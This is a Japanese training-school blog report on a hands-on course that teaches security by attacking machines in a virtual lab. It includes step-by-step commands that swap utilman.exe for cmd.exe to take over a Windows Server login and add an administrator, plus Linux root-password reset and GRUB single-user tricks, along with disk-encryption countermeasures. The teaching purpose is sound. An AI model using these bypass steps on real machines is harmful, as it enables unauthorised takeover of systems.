close
プログラミング クラウド Microsoft Azure 情報処理資格 基本情報技術者 IT基礎 応用情報技術者 開発・設計方法 オブジェクト指向 内定者・新人研修 プログラミング基礎 アルゴリズム コンピュータ数学 内定者研修 新人研修 ヒューマンスキル プロジェクトマネジメント プレゼンテーション リーダーシップ 組織マネジメント ネゴシエーション ロジカルシンキング Java UI/UX HTTP JavaScript基礎 情報処理資格 ネットワークスペシャリスト ネットワーク インターネットルーティング応用 IPアドレス データベース応用 SQL応用 パフォーマンスチューニング データベース設計 ER図 概念設計(データベース) 論理設計(データベース) IT資格 Linux基礎 OS・システム基盤 セキュリティ TCP/IP OSI参照モデル データベースセキュリティ ファイアウォール 標的型攻撃 SQLインジェクション ネットワーク基本設計 CCNA Cisco プロジェクトマネジメント資格 情報処理資格プロジェクトマネージャ 情報処理安全確保支援士 人事給与 財務会計 管理会計 簿記 生産管理 在庫管理 ERP バランススコアカード 情報処理資格 ITアーキテクト 情報処理資格 ITストラテジスト 情報処理資格 ITサービスマネジメント 情報処理資格 システム監査 PMBOK® PMP® プロジェクト計画 WBS リスクコントロール ITIL ITサービスマネジメント 要求定義 要件定義 見積手法 ビジネスインダストリ 業種・業界知識 業務知識 提案力 ソフトウェアテスト基礎 情報処理資格 データベーススペシャリスト ハードウェア基礎 外部設計(基本設計) 内部設計(詳細設計) データベース基礎 SQL基礎 RDBMS 物理設計(データベース) C++ Ruby MVC基礎 Webアプリケーション開発 JavaEE Javaプログラミング応用 フレームワーク MVC応用 Spring フレームワーク ソフトウェアテスト応用 テスト手法 Junit スマートフォンアプリ開発 Androidアプリ開発 C# 基礎 C# 応用 負荷テスト Javaプログラミング基礎 ソフトウェアテスト コーチング メンタリング HTML/CSS サーバー構築 仮想化技術 KVS (NoSQL) アジャイル スクラム ファシリテーション C言語 ITパスポート JSTQB データサイエンス 単体テスト ユニットテスト キャリアアップ インターネットルーティング基礎 パケット解析 LAN構築 データベース データサイエンティスト トレンド 障害対応 インフラ監視 HTTP/2.0 コンピュータサイエンス VPN ネットワーク物理設計 データベース障害 JavaScript モダンJS (Modern JavaScript) 応用 MVS応用 バックアップ/リカバリ 分散処理 Hadoop Hive Python AI 深層学習(DeepLearning) CentOS Linux応用 Zabbix シェルスクリプト Infrastructure as Code Windowsサーバー基礎 内部設計 Docker DevOps Windowsサーバー応用 NginX chef Ainsible ロジカルライティング R テスト自動化 Jenkins Git 継続的インテグレーション (CI) バージョン管理 Vagrant 要求分析 Redmine 継続的インテグレーション(CI) 継続的デリバリー (CD) ヒューマンリソース管理 Web API マイクロサービス コミュニケーション 業務知識/業界知識 マーケティング 語学 AWS 法務 IoT ビジネスマナー OJT 業務効率化 表計算ソフト オフィスソフト コンプライアンス フロントエンド Subversion PHP 関数型プログラミング Laravel モダンJS (Modern JavaScript) 基礎 Android Studio 機械学習 iOSアプリ開発 ぷプログラミング React 次世代高度IT人材 共創 IPA Raspberry Pi Xamarin スクリプト言語 GoF CUI VBA 資格 ビジネス文書 jQuery 研修参加レポート マネジメント OSPF テーブル設計 アンガーマネジメント クリティカル・シンキング PDU 経営改善 Pマーク 問題解決技法 サイバー攻撃 エンジニア 参加してみた エンゲージメントマネジメント 労働関連法 新人育成 ネットワーク構築 情報セキュリティマネジメント デザインパターン リファクタリング マルチスレッドプログラミング ベンダーコントロール Modern JavaScript 冗長化 VLAN インフラエンジニア チームビルディング テストケース リーダブルコード セキュリティ入門 ネットワーク入門 Node.js npm gulp ビルドツール Python入門 冗長化入門 インフラ実機演習 プロジェクト管理 Active Directory ネットワーク管理 コンテナ 正規化理論 Haskell 品質管理 OpenStack シンギュラリティ DBA中級 プロトコル UX 基本設計 FinTech トラブルシューティング 並列処理 見える化 PMO ロジカルコミュニケーション Deep Learning インデックス設計 超上流工程 BGP Excel C-CENT Selenide プライベートクラウド アセンブラ コンピュータ基礎 工数見積 CCENT 法律知識 失敗から学ぶ プロジェクト失敗事例 PDCA プログラミング入門 非エンジニア向け 4Biz DNS セルフマネジメント 片付け術 サーバーダウン サーバー タイムマネジメント GO言語 プロダクトマネジメント プロダクトマネージャ LVS ロードバランサー 負荷分散 仮想通過 犯罪心理学 情報漏えい SEカレッジ導入事例 IT研修を聞いてみた 会社規模 (100~300名) IT研修制度を聞いてみた CentOS7 開発環境構築 数字力 財務 IT人材 UI Machine Learning Go言語 (golang) データマイニング 統計学 新人教育 やり直し数学 RDB つながる工場 モチベーション WebSocket WebWorker HTML5 CSS3 Bootstrap 微分・積分 システム設計 決断力 LAMP環境 トレ担 教育研修担当者向け ルーティング Linux入門 図解術 目標設定 試験対策 インタビュー技法 Vue.js ブロックチェーン 会社規模 (~50名) DHCP 仕掛け学 BSC 財務諸表 自己分析 RIP スタティックルート バッファオーバーフロー DoS攻撃 システム開発 会社規模 (~99名) Wireshark パケットキャプチャ 管理職研修 部下育成 ワークあり 文章力 情報システム部門向け プロジェクトリーダー プロジェクトマネージャ 塗り絵 リスク管理 法改定 会社の仕組み Chainer AI人材 会話術 会社規模 (~25名) テスト技法 組織規模 51名~99名 組織規模:~199名 [組織規模]199名まで 組織規模 199名まで 組織規模199名まで 会社規模199名まで 会社規模49名まで 会社規模99名まで アプリ開発 サーバサイドJava 営業知識 Cloud 栄養学 基本コマンド ウォーターフォールモデル ヘルスケア 論理設計 ニューラルネットワーク ハンズオン UML 顧客ヒアリング マウスで学ぶ Apache EC2 Lightsail M5Stack DevSecOps プロジェクト成果 画像認識 チャットポット コマンド レビュー 基本用語 自動構築 LPIC-1 サーバーサイドJavascript キャリア形成 ワークライフバランス インバスケット テック用語 GitHub Windows エディタ 教養 令和時代 RESTful API 物理設計 会社規模300名以上 データモデリング サーバーサイドJava Webサーバー基礎 Webサーバー応用 Watson IBMWatson Learning Topics OS モバイル コンテスト トレーニング手法 アーキテクチャ 人材モデル インフラ CI/CD Infrastructure as a Code チーム開発 制度づくり Special_Intro AI市場分析 研修ロードマップ 仕事術 デジタルトランスフォーメーション 財務分析手法 情報整理 PowerPoint 新しい研修 オンライン研修 見どころ紹介 統計分析 ディープラーニング G検定 情報処理技術者試験 販売管理 C# テスト計画 Linuxサーバー WEBサーバ構築 http/2 Postfix イーサリアム プロジェクト・メンバ 正規化 パケット実験 作業分解

ハッキング(仮想環境)から学ぶセキュリティ実践 研修コースに参加してみた


2020-05-12 更新
本コースならびにこのレポートは、あくまで教育研修上の観点から、仮想環境で攻撃手法を再現したものです。

今回参照した研修コースは ハッキング(仮想環境)で学ぶセキュリティ実践 です。

セキュリティ実践、というフワッとした言葉ですが、実際に攻撃をやってみるコースなのでした。

普段できない、とっても面白い体験ができました。

もちろん、それだけ面白いからこそ、逆に攻撃側の立場にたって考えるので、どこを対策しないといけないのか、それを考えるよいキッカケになりました!

セキュリティ専門部署ではなく、普段、インフラに携わっている方には面白い体験ができるので、とてもオススメです!

 

では、どんなコースだったのか、レポートします!!

コース情報

想定している受講者
  • Windows PCの基本操作ができること
  • Linuxの基本操作(コマンド操作)ができること
  • TCP/IPの基礎知識があること
受講目標
  • オンライン攻撃の実例に触れ、対策の重要性を理解する
  • セキュリティパッチ適用による防御の効果を理解する

講師紹介

インフラと言えば 新谷 泰英 さん です。

新谷 泰英
新谷 泰英
どうすれば技術を身につけられるか、理解できるか、研究しつづけるインフラ系の人気トレーナー

新谷さんはいつでも演習環境や演習の進め方など改善の余地がないか、新しいことを探ってらっしゃいます。

今回のコースも普段できないようなアタックをやってみよう、という演習内容で、楽しみながらオフェンスの観点が学べました。

セキュリティ

まずはセキュリティというものが、どんなものなのか、解説です。

  • 安全性と利便性のトレードオフ
    • 解答はなくバランスしか無い
  • セキュリティは鎖のようなもの
    • 弱いところがあれば、鎖は切れる
    • 弱いところは、だいたい最終的に “人間”
  • 攻撃側からすると、一番弱いところから攻撃するのが合理的
    • “弱いところから軽くジャブしながら右ストレートを打つ作戦”
  • 攻撃の流れ
    1. 予備調査
    2. 脆弱性の調査
    3. 攻撃の試行 (2段階, 3段階にわかれてやる)
    4. 管理権限を取得
    5. もっとカンタンに侵入できるようバックドアを作る
  • CSIRT (セキュリティ事故対策チーム) がやっていること
    • 上記の攻撃対策はもちろんやる
    • 起こったときにどう対応するかを決めている

納得、、しかありません。

確かに強そうなところから侵入するより、弱いところを狙って侵入できたほうが、はるかに効率的ですよね。

ちなみに、この攻撃の流れどおりのワームがあり、それがもっとも洗練されたソフトウェアだと評判になっていたことを思い出しました。なお、この記事に書かれていることは実際に起ったことです。(もう映画やドラマの世界)

セキュリティ対策の基本要素

  • Accountability
    • 責任追跡性とはカンタンに言うとログのこと
    • 現在は取得するログが増えているので人間が何とか出来るレベルを超えている
    • AIで異常検知するようになってきている
  • Authenticity
    • よくあるのはパスワードなど
  • Reliability
    • RAIDやクラスタを組んだり、可用性を高める
    • これらを実装したのが下の表

 

新谷さんから、可用性と信頼性の対策は似ていることを教えてもらいました。

2つの違いをあえていうと信頼性は “壊れにくさ” とのことでした。なるほど。

この表をみていて、個人的には 可用性 <-> 信頼性 に加えて コスト もトレードオフなんだろうなぁ、と感じました。

攻撃してみよう!

では、ここからは実際にアタックする演習ですが、ちょっとだけ攻撃手法のトレンドを解説いただきました。

攻撃手法には流行りがある

  • 前年に発生したCPUの脆弱性 SPECTRE (スペクター) と MELTDOWN (メルトダウン)
    • サイドエフェクト (副作用のこと)
    • ローカルマシンのキャッシュを使った攻撃
    • メモリの中身ではなく、メモリにアクセスしている時間を見る
    • キャッシュを使って処理をしているのであれば、時間がわかる
    • 時間から処理を推測して攻撃する
    • このサイドエフェクトから着想して色々な脆弱性が発見された
  • 攻撃に流行りがある
    • MIRAI DDOS
      • 分散DOS攻撃の事例
      • GitHubでも公開されているので見たい人はどうぞ
  • 最新の攻撃手法を知るには

このSPECTREについては、完全に防げないとの研究があったこと、また、最近さらに投機的実行に関連した脆弱性が公開されていましたね。

とはいえ投機的実行をキャンセルすると、CPU のパフォーマンスは下がってしまうので、記事にもあったとおり、新たなブレイクスルーが必要なんでしょうが、低レベルのことだけになかなか難しそうな印象があります。。。

パスワード攻撃手法をやってみる

さきほどのSPECTREなどを駆使したアタックは難易度高いやり方ですが、弱いところから攻撃するというのが常道です。

まずはパスワードに対する対策をまとめていただきました。

パスワードの対策

  • ユーザが作ったパスワードは Hash で変換することが多い
    • Hash化したパスワードは復元しにくい (不可逆性という)
  • Hash化したパスワードを取得しても何も出来ない
    • 盗まれてもOKな状態にしておく

攻撃手法

  • ソーシャルエンジニアリング
    • 勘 (ex. 打鍵音) で当てる
  • 辞書攻撃 (ディクショナリ攻撃)
    • 使われることが多いパスワードを辞書にして試す
    • “password dictionary keyword 500” などで検索するとある
  • ブルートフォース
    • 総当たり (100%突破できるが、時間がかかる)
    • アルゴリズムを書き換え高速化したのがレインボーテーブル (Win XPなら3分ぐらいで破れる)
  • リスト攻撃
    • 何らかのサイトのパスワードリストが取れたなら、それを他のサイトで使う
  • とはいえ、パスワードの変更はしなくてよいよ、というお触れも出ている

演習

新谷さんにご用意いただいた Pika Zip というソフトウェアを使って、zip ファイルのパスワードを解読します。

  • 全数タブを選択
    • 長さ はデフォルトのまま
    • 今回のパスワードは数字のみ
  • 対象となる zip の中にあるファイルが選択できるようになっている
    • zip の暗号化はファイルの中身だけ
  • 鍵ボタンを押すと一瞬で解読 (!!)
    • 2.5 GHZ (25億回/秒) ぐらいなので当たり前といえば当たり前

ちなみに文字の種類を変えると、この時間ではまったく終わりませんでした。

そこで新谷さんから補足されたのが、

“攻撃する側としては、弱いパスワードが使われていない限り、攻撃には使いません。
つまり、一般的な辞書攻撃だけ行って侵入できなければ、他の攻撃方法に移る”

ということでした。

なるほど。攻撃側の心理としてはそうなりますね。

認証回避をやってみる

ということで、攻撃側としてはパスワードでない “弱い鎖” を探します。

そこで次にやるのが、認証そのものをスキップする、というやり方です。

 

その前に、どこにパスワードが格納されているのか、説明いただきました。

  • パスワードの場所
    • Windows
      • c:\Windows\Sytem32\config\SAM
      • ここにHash化されたパスワードが保存されている
      • この /SAM にあるファイルを書き換えてしまえ! というやり方もある
    • Linux
      • /etc/passwd // アカウント
      • /etc/shadow // パスワード

攻撃方法

Linuxなど別システムをデュアルブートしているWindowsを対象に、Windowsが起動する前、もしくは起動させずに、その別システムからWindowsの補助メニューを書き換えて、乗っ取ってしまうやり方です。

Windows 2012 Server でやってみます。

sudo su
mount /dev/sda2 /mnt/ #sda2 は c:\Windows ディスク
cd /mnt/Windows/System32 #Windowsのディレクトリに移動
mv Utilman.exe Utiltman.exe.org #痕跡を消す
cp cmd.exe utilman.exe #cmd.exe を utilman.exe にコピー
cd /
umount /mnt #ディスクを切り替え
poweroff

ディレクトリでやったことを解説します。

c:\
├ Windows
 ├ Sytem32
  ├ Utilmam.exe -> Utilman.exe.org に書き換え
  ├ cmd.exe -> コピーして別プログラムに
  ├ Utilman.exe -> cmd.exe をコピー

では、侵入してみます

  1. Windowsログイン画面で [Windowsキー] + [U] でユーティリティプログラムを開く
    • コマンドプロンプト が立ち上がる

  1. Administrator のパスワードを変更
    • net user administrator Pa$$w0rd
  2. 管理者ユーザの追加
    • net user /add [ユーザ名] [パスワード]
    • net localgroup /add administrators [ユーザ名]

ログインできちゃいました。。。

対策

仕組み上、防ぐ方法は出来ません。なので、これも盗まれてもよいようにしておきます。

  • c:\ HDD を暗号化する (BitLocker)
    • つまりディスクは暗号化しましょう
  • 重要なことは暗号化する、というのは軽視されがち
    • ちゃんと意味がある
    • なぜ、そのセキュリティが実装されるのか、理由をちゃんと確認したほうがよい

Linux でもやってみる

もちろん Linux でも出来ます。

date
date | sha256sum # | はパイプ
date | cut -b 1-64 #64文字のランダムなパスワードを生成
date | cut -b 1-64 | passwd --stdin root

管理者 root ユーザのパスワードを書き換えられました。

実際ログインできませんでした。。

コラム

関連して Hash 化の方法について、方式を紹介いただきました。

  • Hash のやり方
    • MD5
    • SHA
      • 2 (バージョン)
        • 128
        • 256 (bit数)
        • 512

Linux の認証回避

攻撃されてログインできなかったら、どう回避するのか、今度はその回復手順です。

  • CentOS7 の場合
    • 起動時にブートローダーを選ぶ // [↑]を押すのがセーフティ
      • メンテナンスモードに切り替え
      • CentOS 7 以上の場合、レスキューモードを選択するとパスワード入力が求められる
    • e を入力
    • rhgb と LANG=ja_JP.UTF-8 を削除して、rw init=/bin/sh を追加
    • [CTRL]+[x]で入力
    • sh-4.2# が立ち上がるので、 passwd から変更

最後に新谷さんからこのコースをまとめていただき、修了しました。

  • コンピュータさえ手に入ってしまえば、こういった手法でログインできる
    • パスワードの暗号化でも防げない
  • 入室をセキュアにする、施錠するなど物理的に対策することも重要
  • HDDの暗号化
    • Linux なら LUKS や Windows なら BitLocker などでやっておく
  • とにかく弱い鎖と、その対策とその意味をしっておきましょう

まとめ

このコースでは攻撃側はセキュリティの弱いところをつく、ということを学んだ上で、実際にその弱いところへ仮想的に攻撃してみました。

単純にリアルなところではやりにくいので、とても面白い体験だったのと、面白かったゆえに重要さに気付かされるものでした。

また、個人的には攻撃側に立って考えることがなかったので、とてもよいキッカケになりました。攻撃側は弱そうなところをつけばよいので、防御する側のほうが、はるかに難しいですね。

面白い体験をしながら、セキュリティを考えるキッカケになるコースだったので、CSIRTのようなセキュリティ専門部署の方ではなく、普段、サーバ構築や運用保守に携わっている方にオススメしたいコースでした!

 

 

label SE カレッジの無料見学、資料請求などお問い合わせはこちらから!!


SEカレッジについて

label SEカレッジを詳しく知りたいという方はこちらから !!

特集・キャンペーン

午前免除 FAQ

タグ一覧